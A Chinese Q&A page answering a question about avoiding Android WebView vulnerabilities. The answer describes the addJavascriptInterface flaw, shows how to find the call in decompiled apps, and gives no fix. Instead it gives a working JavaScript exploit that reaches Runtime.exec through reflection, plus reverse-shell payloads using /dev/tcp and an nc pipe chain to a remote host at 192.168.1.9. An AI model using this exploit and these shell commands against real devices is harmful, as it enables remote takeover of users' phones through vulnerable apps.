webview哪些漏洞如何避免

发布网友 发布时间:2022-04-22 08:59

我来回答

1个回答

热心网友 时间:2023-06-26 09:43

  在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。
  
  0x01 检测利用
  一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
  在android 代码程序一般是这样使用:

  
  settings.setJavaScriptEnabled(true);
  settings.setJavaScriptCanOpenWindowsAutomatically(true);
  mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
  

  这里可以用
  apk->zip->dex->dex2jar->jdgui->java

  代码来查找。
  但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
  在smali代码中 则是类似下列的代码:
  const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/mole/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

  当检测到存在上述代码时,可以进行进一步验证利用:
  在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
  <script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

</script>

  利用java的exec执行linux的shell命令。
  0x02 远程获取shell
  套用yuange的一句话:Poc远远小于exp的价值。
  利用addJavascriptInterface实现shell.
  Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被*。
  使用了java的反弹shell方法
  //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

  在Nexus One 4.3的android虚拟机 并未成功弹出shell.
  后发现android中可执行 nc命令 (阉割版的不带-e的nc)
  这里用了nc的另外一种弹shell的方法完成
  Exp 内容:

  
  <script>
  function execute(cmdArgs)
  {
  return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
  }
  execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
  alert("ok3");
  </script>
  

  // 注 xxx 保护隐私用xx代指。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com